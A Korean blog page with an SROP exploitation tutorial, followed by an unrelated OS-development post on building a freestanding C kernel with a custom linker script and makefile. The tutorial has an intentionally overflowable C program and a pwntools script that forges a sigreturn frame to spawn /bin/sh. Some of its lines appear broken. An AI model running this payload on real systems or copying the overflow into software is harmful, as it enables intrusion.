$bash

SROP (SigReturn Oriented Programming)

0x0500 : 기술, 분석 문서/0x0501 : System 기술문서
SROP(SigReturn Oriented Programming) : SigReturn 이라는 System Call을 이용한 기법
SigReturn System Call : 시그널을 받은 프로세스가 커널 모드에서 유저 모드로 복귀할 때 사용하는 System Call


SROP 란 말 그대로 시그널로 받은 인자값을 넣어 ROP 시키는 과정이다. 이부분에서 대해서는 뭔가 명확 하게 말하기가 그렇다. 결론적으로 SROP 는 ROP가 불가능 하다고 판단했을때, 특정 조건이 성립할 경우 SROP로 대신 exploit 을 진행 할 수 있다.


SROP 공격을 위한 선행 조건

1. OverFlow 취약점

2. EAX 레지스터 (syscall number와 같은 인자값을 받는 reg면 상관없다.) 제어

3. int 0x80 gadget (2번의 syscall number를 처리 할 수 있는 syscall funtion gadget)


위 3조건이 만족하면 SROP가 성립하여 성공 적으로 exploit 을 실행시킬수 있다.


시작하기 앞서 본 내용은 32bit 환경의 기준으로 작성 되었으며, bit 마다 2번 3번 조건이 다르게 사용될 수 있다. 또한 해당되는 실습 환경은 다음과 같다.

32bit Ubuntu 14.04 LTS, Stack Gaurd Off



void int80()

{

    asm("int $0x80"); //역시 예제라서 넣은 것, 없으면 SROP 공격을 못 함

}

 

void main()

{

    char buf[8];

 

    read(0, buf, 128); //Overflow 취약점

}


위 소스코드는 overflow가 일어나는 취약한 함수이다.


main 부분에서 buf[8]가 받지만 read 에서 128Byte 만큼 값을 받기 때문에 overflow가 일어난다. 이것으로 첫번째 조건이 성립 된다. 두번째는 read 함수가 overflow 가 일어나면서 EAX reg를 덮어 쓸수가 있는데 이는 SROP를 위한 syscall number를 사용해주면서 두번째 조건을 성립시켜준다. 세번째는 int 0x80 gadget 은 int80 함수에 asm으로 저장되어 있음으로 세번째 조건이 성립이 된다. 


이론적으로 충분히 검증이 되었다 이제 디버깅을 해보도록 하자.



read 함수에 break point를 걸고 A를 118개를 입력 해주었다.



Stack에 A가 들어 간것을 esp 를 통해 확인 할수 있으며.



info reg를 통해 0x77가 eax 저장이 된것을 확인 할 수가 있다. 0x77번은 sigreturn 함수 호출 number 이다. 이에 대해서는 아래 exploit code를 보기전에 설명 하도록 한다.

다음은 int 0x80을 실행 시켜야 한다. ret되는 부분에 int 0x80 Gadget을 구하여 넣어 주도록 해보자.



성공적으로 Gadget 값을 구하여 넣었음을 확인 할 수 있다.



Eip가 성공적으로 변조가 되었음을 확인하였다.



결과적으로 int 0x80이 실행 되면서 sigreturn이 호출되어 레지스터의 값이 stack에 넣어준 값으로 변경되었음을 확인 할 수 있다.


여기서 exploit code를 살펴 보기전에 sigreturn 함수를 호출하게 되는이에 대한 sigcontext.h 의 구조체는 다음과 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct sigcontext {
    unsigned short gs, __gsh;
    unsigned short fs, __fsh;
    unsigned short es, __esh;
    unsigned short ds, __dsh;
    unsigned long edi;
    unsigned long esi;
    unsigned long ebp;
    unsigned long esp;
    unsigned long ebx;
    unsigned long edx;
    unsigned long ecx;
    unsigned long eax;
    unsigned long trapno;
    unsigned long err;
    unsigned long eip;
    unsigned short cs, __csh;
    unsigned long eflags;
    unsigned long esp_at_signal;
    unsigned short ss, __ssh;
    struct _fpstate *fpstate;
    unsigned long oldmask;
    unsigned long cr2;
};
 
 
cs

이처럼 어셈으로 인자를 전달해주면 된다.


마지막 최종적으로 exploit code를 생성해 보도록 하자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
= process("./SROP")
 
syscall = 0x08048420
 
payload  = "A"*20
payload += p(syscall)       #ret
payload += p(0x33)          #GS
payload += p(0)            #FS
payload += p(0x7b)          #ES
payload += p(0x7b)          #DS
payload += p(0)            #EDI
payload += p(0)            #ESI
payload += p(0x08049b00)   #EBP
payload += p(0x08049a00)   #ESP
payload += p(0x0804a020)   #EBX #/bin/sh
                            #문자열이 따로 저장되어 있음
payload += p(0)            #EDX
payload += p(0)            #ECX
payload += p(0x0b)          #EAX #execve system call number(11)
payload += p(0)            #trapno
payload += p(0)            #err
payload += p(syscall)      #EIP
payload += p(0x73)          #CS
payload += p(0x246)         #eflags
payload += p(0)            #esp_atsignal
payload += p(0x7b)          #SS
payload += "\x00"*(118-len(payload))
 
s.sendline(payload)
s.interactive()

cs


: 참고 자료

 SROP.pdf

http://err0rless313.tistory.com/entry/SigReturn-Oriented-Programming-32bit

http://tribal1012.tistory.com/16

'0x0500 : 기술, 분석 문서 > 0x0501 : System 기술문서' 카테고리의 다른 글

ROP 기술문서 2  (0) 2016.06.08
ROP 준비 1  (0) 2016.06.08

arm-arch 프로세서

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

qemu 구축(arm-arch)

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

0x07_C언어로 커널을 작성하자

0x0500 : 기술, 분석 문서/0x0503 : OS 원리와 구조

실행 가능한 C언어 코드 커널 생성 방법

이번 장에서는 C 소스 파일을 추가하고, 이를 빌드하여 보호 모드 커널 이미지에 통합하는 것이다. C언어로 작성한 커널을 보호 모드 엔트리 포인트의 뒷 부분에 연결하고 엔트리 포인트에서는 C커널의 시작 부분으로 이동시켜보자.


C코드는 어셈블리어 코드와 달리 컴파일과 링크 과정을 거쳐서 최종 결과물이 생성된다. 컴파일 과정은 소스 파일을 중간 단계인 오브젝트 파일(Object file)로 변환하는 과정을 소스 파일을 해석하여 코드 영역과 데이터 영역으로 나누고, 이러한 메모리 영역에 대한 정보를 생성하는 단계이다. 링크 단계는 오브젝트 파일들의 정보를 취합하여 실행 파일에 통합하며, 필요한 라이브러리 등을 연결해주는 역할을 하는 단계이다.



빌드 조건과 제약 사항

1. C언어 라이브러리를 참조하지 않고 빌드한다.


2. 0x10200 위치에서 실행하도록 빌드한다.


/*

0x10000의 위치는 6장에서 작성한 섹터크기의 보호 모드 엔트리 포인트가 있으므로, 결합된 C코드는 512바이트 이후인 0x10200 위치부터 로딩된다. 따라서 C로 작성한 커널 부분은 빌드할때 0x10200 위치에서 실행되는 것을 전제로 해야하며, 해당 위치의 코드는 C 코드 중에 가장 먼저 실행되어야 하는 함수(엔트리 포인트)가 위치해야한다. 

*/



위 코드를 보면 메모리에 로딩되는 어드레스에 따라 전역 변수의 어드레스에 접근하는 부분이 변한다는 것을 알 수 있다. 이러한 이유로 커널이 0x10200의 어드레스에서 실행되게 빌드하는 것이 필요하다.


3. 코드나 데이터 외에 기타 정보를 포함하지 않는 순수 바이너리 형태여야 한다.


일반적으로 GCC를 통해 실행파일을 생성하면 ELF 파일 포맷이나 PE파일 포맷과 같이 특정 OS에서 실행할 수 있는 포맷으로 생성된다. 이러한 파일 포맷들은 실행하는데 필요한 코드와 데이터 정보 이외의 불필요한 정보를 포함하고 있다. 해당 파일 포맷을 그대로 사용하게되면 엔트리 포인트에서 파일 포맷을 해석하여 해당 정보에 따라 처리하는 기능이 포함되어야 하므로 코드가 복잡해진다. 만일 부트 로더나 보호 모드 엔트리포인트처럼 코드와 데이터만 포함된 바이너리 파일 형태를 사용한다면, 엔트리 포인트에서 해당 어드레스로 점프(jmp)하는 것만으로 C언어를 실행할 수 있다.


소스파일 컴파일 라이브러리 사용 없이 코딩

// gcc -c -m32 -ffreestanding Main.c 

-ffreestanding  = 라이브러리 사용을 안한다 라는 의미..?

-m32 = 32비트 코드

-c = 코딩


오브젝트 파일 링크 - 라이브러리를 사용하지 않고 특정 어드레스에서 실행 가능한 커널 이미지 파일 생성 방법


오브젝트 파일을 링크하여 실행 파일을 만드는 방법은 소스 파일을 컴파일 하는 방법보다 까다롭다. 실행 파일을 구성하는 섹션의 배치와 로딩될 어드레스, 코드 내에서 가장 먼저 실행될 코드인 엔트리 포인트를 지정해줘야 하기 때문이다. 특히 섹션을 배치하는 작업은 오브젝트 파일이나 실행파일 구조와 관련이 있으므로 다른 작업보다 좀 더 까다로울 수 있다. 하지만, 섹션을 배치하는 방식과 크기 정렬 방식에 따라서 OS 메모리 구조와 크기가 달라지므로, 한번 아래 내용을 읽고 넘어가길을 권장한다.

섹션 배치를 다시 하는 이유는 실행 파일이 링크될때 코드나 데이터 이외의 디버깅 관련 정보와 심볼(Symbol, 함수나 변수의 이름) 정보가 포함되기 때문이다. 이러한 정보는 커널을 실행할때 불필요하므로, 최종 바이너리 파일을 생성할 때 이를 제거하려고 섹션을 재배치하는것이다. 섹션을 재배치하여 코드와 데이터를 실행 파일 앞쪽으로 이동시키면 손쉽게 나머지 부분을 제거할 수 있다.

섹션 배치와 링커 스크립트, 라이브러리를 사용하지 않은 링크


섹션은 실행 파일 또는 오브젝트 파일에 있으며 공통된 속성(코드, 데이터, 각종 심볼과 디버깅 정보 등)을 담는 영역을 뜻한다. 실행 파일이나 오브젝트 파일에는 무수히 많은 섹션이 있지만 핵심 역할을 하는 섹션은 3가지가 있다.


1. 실행 가능한 코드가 들어있는 .text 섹션


2. 초기화 된 데이터가 들어있는 .data 섹션


3. 세 번째 초기화되지않은 데이터가 들어있는 .bss 섹션


소스코드를 컴파일하여 생성한 오브젝트 파일은 각 섹션의 크기와 파일 내에 있는 오프셋 정보만 들어있다. 오브젝트 파일은 중간 단계의 생성물로, 다른 오브젝트 파일과 합쳐지기 때문이다. 합쳐지는 순서에 다라서 섹션의 어드레스는 얼마든지 변경될 수 있다.


오브젝트 파일들을 결합하여 정리하고 실제 메모리에 로딩될 위치를 결정하는 것이 바로 링커(Linker)이며, 이러한 과정을 링크(Link) 또는 링킹(Linking)이라고 부른다. 



링커의 주된 역할은 오브젝트 파일 모아 섹션을 통합하고 그에 따라 어드레스를 조정하며, 외부 라이브러리에 있는 함수를 연결해주는 것이다. 하지만, 두드리기만 하면 금은보화가 나오는 요술 방망이가 아니므로 링커가 실행파일을 만들려면 파일 구성에 대한 정보가 필요하다. 바로 이때 사용하느것이 링커 스크립트(Linker Script)이다.


/* Default linker script, for normal executables */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
          "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR("/opt/cross/i386-pc-linux/lib32"); SEARCH_DIR("/opt/cross/i386-pc-linux/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x08048000)); . = SEGMENT_START("text-segment", 0x08048000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.init       : { *(.rel.init) }
  .rel.text       : { *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) }
  .rel.fini       : { *(.rel.fini) }
  .rel.rodata     : { *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) }
  .rel.data.rel.ro   : { *(.rel.data.rel.ro .rel.data.rel.ro.* .rel.gnu.linkonce.d.rel.ro.*) }
  .rel.data       : { *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) }
  .rel.tdata      : { *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) }
  .rel.tbss   : { *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) }
  .rel.ctors      : { *(.rel.ctors) }
  .rel.dtors      : { *(.rel.dtors) }
  .rel.got        : { *(.rel.got) }
  .rel.bss        : { *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) }
  .rel.ifunc      : { *(.rel.ifunc) }
  .rel.plt        :
    {
      *(.rel.plt)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      *(.rel.iplt)
      PROVIDE_HIDDEN (__rel_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(SORT_NONE(.init)))
  }
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely .text.unlikely.*)
    *(.text.exit .text.exit.*)
    *(.text.startup .text.startup.*)
    *(.text.hot .text.hot.*)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  }
  .fini           :
  {
    KEEP (*(SORT_NONE(.fini)))
  }
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table
  .gcc_except_table.*) }
  /* These sections are generated by the Sun/Oracle C++ compiler.  */
  .exception_ranges   : ONLY_IF_RO { *(.exception_ranges
  .exception_ranges*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  .exception_ranges   : ONLY_IF_RW { *(.exception_ranges .exception_ranges*) }
  /* Thread Local Storage sections  */
  .tdata      : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss       : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
    PROVIDE_HIDDEN (__init_array_start = .);
    KEEP (*(SORT(.init_array.*)))
    KEEP (*(.init_array ))
    PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(SORT(.fini_array.*)))
    KEEP (*(.fini_array ))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro .data.rel.ro.* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (SIZEOF (.got.plt) >= 12 ? 12 : 0, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  _edata = .; PROVIDE (edata = .);
  . = .;
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 32 / 8 : 1);
  }
  . = ALIGN(32 / 8);
  . = SEGMENT_START("ldata-segment", .);
  . = ALIGN(32 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line .debug_line.* .debug_line_end ) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  /* DWARF Extension.  */
  .debug_macro    0 : { *(.debug_macro) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}


// 내용이 많아 가져다 씀...


GCC 크로스 컴파일러을 열어보면, 아래와 같은 구조가 반복되는 것을 알 수 있다. 링커 스크립터의 구조를 아래에 표시된 기본 형식에 대입해보면 SectionName과 그 내부 오브젝트 파일에서 통합할 섹션의 이름과 정렬할 기준값, 그리고 섹션의 초깃값을 쉽게 찾을 수 있다. 



위의 내용을 이용하여 GCC를 크로스 컴파일한 후 생성된 32비트용 링커 스크립트 파일을 정리해 보겠다. 32비트용 링커 스크립트 파일은 CrossCompiler/x86_64-pc-linux/lib/ldscripts/elf_i386.x이다. 이 파일을 01.Kernel32/elf_i386.x라는 이름으로 저장하여 재배치 작업을 준비한다.


섹션의 재배치는 텍스트나 데이터와 관계없는 섹션(.tdata, .tbss, .ctors, .got 등)의 기본 구조, 즉 'SectionName{...}' 부분 전체를 코드 및 데이터 섹션의 뒷부분으로 이동하거나, 코드 및 데이터에 관련된 섹션(.text, .data, .bss, .rodata)을 가장 앞으로 이동하는 것이 수월하므로 관련된 섹션을 링커 스크립트의 가장 앞쪽으로 이동하겠다. 섹션 크기 정렬 부분은 ALIGN() 부분의 값을 수정함으로써 변경할 수 있다. 크기 정렬 값은 임의 값으로 설정해도 괜찮지만, 편의상 데이터 섹션의 시작을 섹터 크기(512바이트)에 맞추겠다. 이후에 커널의 공간이 부족하다면 이 값을 더 작게 줄임으로써 보호 모드 커널이 차지하는 비중을 줄일 수 있다.


// 수정코드 생략.


이후 다음과 같은 빌드 명령어를 사용하여 실행파일을 생성하자.


./64bit-Multicore-OS/util/CrossCompiler/bin/x86_64-pc-linux-ld -melf_i386 -T elf_i386.x -nostdlib Main.o -o Main.elf


 명령어

설명 

-melf_i386 

  기본적으로 64비트 코드를 생성하므로 32비트 실행 파일을 만들기 위해 설정한 옵션

 -T elf_i386.x

  elf_i386.x 링커 스크립트를 이용해서 링크 수행

 -nostdlib

  표준 라이블러리 Standard Library 를 사용하지 않고 링크 수행

 -o Main.elf

  링크하여 생성할 파일 이름


로딩할 메모리 어드레스와 엔트리 포인트 지정

어셈블리어로 작성된 부트로더나 보호 모드 엔트리 포인트처럼 C 코드 역시 로딩될 메모리를 미리 예측하고 그에 맞춰 이미지를 생성하는 것이 중요하다. 만약 이미지를 로딩할 어드레스에 맞춰서 생성하지 않는다면 전역변수와 같이 선형 어드레스를 직접 참조하는 코드는 모두 잘못된 어드레스에 접근하기 때문이다.


메모리에 로딩하는 어드레스를 지정하는 링커 스크립트를 수정하는 방법과 링커(LD) 프로그램의 명령줄(Command Line) 옵션으로 지정하는 방식 2가지가 있다. 링커 스크립트를 통해 수정하려면 스크립트 파일의 '.text' 섹션을 아래와 같이 수정한다. '.text' 섹션의 어드레스를 수정하면 그 이후에 있는 '.data'와 '.bss'같은 섹션은 자동으로 '.text'가 로딩되는 어드레스 이후로 계산되므로 다른 섹션들은 수정하지 않아도 된다. 보호 모드 커널은 부트 로더에 의해 0x10000에 로디오디며, 0x10000의 어드레스에는 512 바이트 크기의 보호 모드 엔트리 포인트(EntryPoint.s) 코드가 있으니 C코드는 0x10200 어드레스 부터 시작할 것이다. 


링커 스크립트를 수정해 로딩할 메모리 어드레스를 지정하려면..



엔트리 포인트 역시 링커 스크립트 또는 커맨드 라인 옵션으로 지정할 수 있다. 



사실 엔트리 포인트를 링커에 지정하는 작업은 빌드의 결과물이 OS에 의해 실행 가능한 파일 포맷(리눅스의 elf 파일 포맷, 윈도우의 PE 파일 포맷 등)일때만 의미가 있다. 실행 파일을 바이너리 형태로 변환하는 BASH64 OS의 경우는 엔트리 포인트 정보가 제거되므로 엔트리 포인트는 큰 의미가 없으며, 단순히 링크 시에 발행하는 경고(Warning)를 피하려고 설정한 것이다. 하지만 앞서 설명햇듯이 0x10000 어드레스에 존재하는 보호 모드 엔트리 포인트는 0x10200 어드레스로 이동(jmp)하므로, C 코드의 엔트리 포인트를 해당 어드레스에 강제로 위치시킬 필요가 없다.

그럼 어떻게 해야 특정 함수를 가장 앞쪽에 위치시킬 수 있을까? 특정 함수를 실행 파일의 가장 앞쪽에 두려면 두가지 순서를 조작해야 한다.

1. 오브젝트 파일 내의 함수간의 순서

2. 실행 파일 내의 함수간의 순서


실행 파일을 바이너리 파일로 변환

컴파일과 링크 과정을 거쳐 생성된 실행 파일은 코드 섹션과 데이터 섹션 이외의 정보를 포함하므로 이를 제거하여 부트로더나 보호 모드 엔트리 포인트와 같이 순수한 바이너리 파일 형태로 변환해야 한다. 따라서 실행 파일에서 불필요한 섹션을 제외하고 꼭 필요한 코드 섹션과 데이터 섹션만 추출해야 하는데, objcopy 프로그램을 사용하면 이러한 작업을 손쉽게 처리할 수 있다. 



objcopy는 실행 파일 또는 오브젝트 파일을 다른 포맷으로 변환하거나 특정 섹션을 추출하여 파일로 생성해주는 프로그램으로 binutils에 포함되어 있다. objcopy는 옵션이 굉장히 많지만 섹션을 추출하여 바이너리로 바꾸는 작업만 수행하므로 -j,-S, -O 옵션에 대해서만 알아보겠다.


-j : 실행 파일에서 해당 섹션만 추출하는 옵션

-S : 실행 파일에서 재배치 정보와 심볼을 제거하는 옵션

-O : 새로 생성할 파일의 포맷을 지정하는 옵션


C소스 파일 추가와 보호 모드 엔트리 포인트 통합


C소스 파일 추가

C 커널의 엔트리 포인트가 될 Main.c 소스 파일을 생성하기에 앞서, 여러 소스 파일에서 공통으로 사용할 헤더 파일부터 생서하겠다. 이 헤더 파일은 보호 모드 커널 전반에 걸쳐 사용할 것으로, 기본 데이터 타입과 자료구조를 정의하는데 사용한다.



CHARACTER타입은 텍스트 모드 화면을 구성하는 문자 하나를 나타내는 구조체로 텍스트 모드용 비디오 메모리(0xB8000)에 문자를 편하게 출력할 목적으로 추가했다.




Main() 함수는 C코드의 엔트리 포인트 함수로써 0x10200 어드레스에 위치하며, 6장에서 작성한 보호 모드 엔트리 포인트코드에서 최초로 실행되는 코드이다. 코드를 보혐 Main() 함수를 가장 앞쪽으로 위치시켜, 컴파일 시에 코드 섹션의 가장 앞쪽에 위치하게 한 것을 알 수 있다. Main()함수의 내부는 kPrintString()함수를 사용해서 메시지를 표시하고 무한 루프를 수행하게 작성되었다.


보호 모드 엔트리 포인트 코드 수정


6장에서 작성한 보호 모드 커널의 엔트리 포인트 코드 EntryPoint.s는 화면에 보호 모드로 전환했다는 메시지를 출력하고 나서 무한 루프를 수행하도록 작성했다. 이제는 보호 모드 엔트리 포인트 이후에 C 커널 코드가 있으므로 무한 루프를 수행하는 코드를 수정하여 0x10200으로 이동하게끔 변경하겠다. C 커널 코드로 이동하게 수정하는 일은 아주 간단하다. 리얼 모드에서 보호 모드로 전환할때처럼 CS세그먼트 셀렉터와 이동할 선형 주소를 jmp 명령에 같이 지정해주면 된다.


makefile 수정

다수의 파일을 컴파일하고 링크해야하므로 makefile이 좀 더 편리하게 수정할 필요가 있다. 따라서 make의 몇 가지 유용한 기능을 사용하여 Source 디렉터리에 .c 확장자의 파일만 추가하면 자동으로 포함하여 빌드하게 수정할 것이다.

.c 파일을 자동으로 빌드 목록에 추가려면, 매번 빌드 때마다 Source 디렉터리에 있는 *.c파일을 검색하여 소스 파일 목록에 추가해야한다. make에서 이러한 작업을 위해 디렉터리에 있는 파일을 검색하는 와일드 카드 기능을 제공한다.

디렉터리에 있는 모든 C파일을 검색했으니, 이제 이파일들에 대한 빌드 룰만 정해주면 자동으로 빌드할 수 있다. 지금까지의 makefile은 각 파일에 대해 빌드 룰을 개별적으로 기술했다. 하지만 빌드에 필요한 파일이 수백개쯤 된다면 관리하기 힘들것이다. 또한 파일이 추가되고 삭제될때마다 룰을 변경해야하는데 실수하면 오류나 실행 도중 예기치 못한 오류가 발생할 수 있다.

와일드 카드와 패턴 룰 기능을 이용하면 Source 디렉터리 내의 모든 C파일을 자동으로 컴파일 할 수 있다. 그럼 이제 검색된 C파일을 이용하여 링크할 파일 목록을 생성해 보도록 하겠다. 일반적으로 오브젝트 파일은 소스 파일과 같은 이름이며 확장자만 .o로 변경되므로 소스 파일 목록에 포함된 파일의 확장자를 .c에서 .o로 수정하면 된다. 특정 문자를 치환하려면 patsubst 기능을 사용하면 되고, patsubst는 $(patsubst 수정할 패턴, 교체할 패넡, 입력 문자열) 의 형식으로 사용한다.


이게 끝이 아니다. 우리는 C 커널 엔트리 포인트 함수를 가장 앞쪽에 배치하려면 엔트리 포인트 파일을 COBJECTFILES의 맨 앞에 둬야 한다. 만일 C 커널의 엔틜 포인트를 포함하는 오브젝트 파일 이름이 Main.o 라고 가정한다면, Main.o 파일을 COBJECTFILES에서 맨 앞에 두려면 다음과 같이 subst를 사용한다.


이와 같은 규칙은 어셈블리어 파일에도 마찬가지로 적용할 수 있다. 보호 모드 커널과 IA-32e 모드 커널에서 사용할 어셈블리어 파일은 .asm으로 생성할 예정이므로 이를 고려하여 수정하겠다. 앞에서 설명한 makefile의 내용 중에서 크게 바뀌는 부분은 없으며, .c부분만 .asm으로 수정하고 GCC 컴파일러 옵션 대신 NASM을 사용하게 변경하면 끝이다. 단, 컴파일된 어셈블리어 오브젝트파일과 C언어 파일은 같이 링크되어야 하므로 이를 고려하여 컴파일 옵션을 설정해야한다. GCC의 오브젝트 파일은 ELF32 파일 포맷 형태를 따르므로 NASM의 오브젝트 파일 역시 동일한 포맷으로 생성되게 컴파일 옵션에 -f elf32 를 추가한다. 

디렉터리에 있는 모든 C 소스 파일을 포함하는 작업은 make의 기능을 사용해서 간단히 처리할 수 있다. 하지만, 이것은 어디까지나 C 소스 파일에만 해당되는 내용이다. C언어는 헤더 파일을 정의하여 소스 파일에서 공통으로 사용하는 데이터 타입이나 함수의 선언을 모아두고, 이를 참조할 수 있다. 이는 소스 파일의 내용뿐 아니라 헤더 파일이 수정되어도 소스 파일을 다시 빌드해야 함을 의미한다. 이를 위해서는 소스파일을 모두 검사하여 포함하는 헤더 파일일을 모두 makefile의 Dependency에 기록해야한다.

그렇다면 어떻게 해야 소스 파일에 관련된 헤더 파일을 찾을 수 있을까? 간단한 프로그램을 작성해서 소스파일의 #include부분을 읽어서 처리해야 할까? 다행히 GCC의 옵션 중에 makefile용 규칙을 만들어 주는 전처리기 관련 옵션(-M 옵션)을 사용하면, 자동으로 헤더 파일을 추출할 수 있다. 그중에서 -MM 옵션을 사용하면stdio.h와 같은 시스템 헤더 파일을 제외한 나머지 헤더 파일에 대한 의존 관계를 출력할 수 있다. 따라서 -MM 옵션을 이용하여 소스 코드를 모두 검사하고 그 결과를 파일로 저장하면, 소스 파일별 헤더 파일의 의존 관계(Dependency)를 확인할 수 있다. 다음은 Main.c와 Test.c 소스파일의 의존관계를 구해 Dependency.dep 파일로 저장하는 예이다.

> ./64bit-Multicore-OS/util/CrossCompiler/bin/x86_64-pc-linux-gcc -MM Main.c Test.c > Dependency.dep

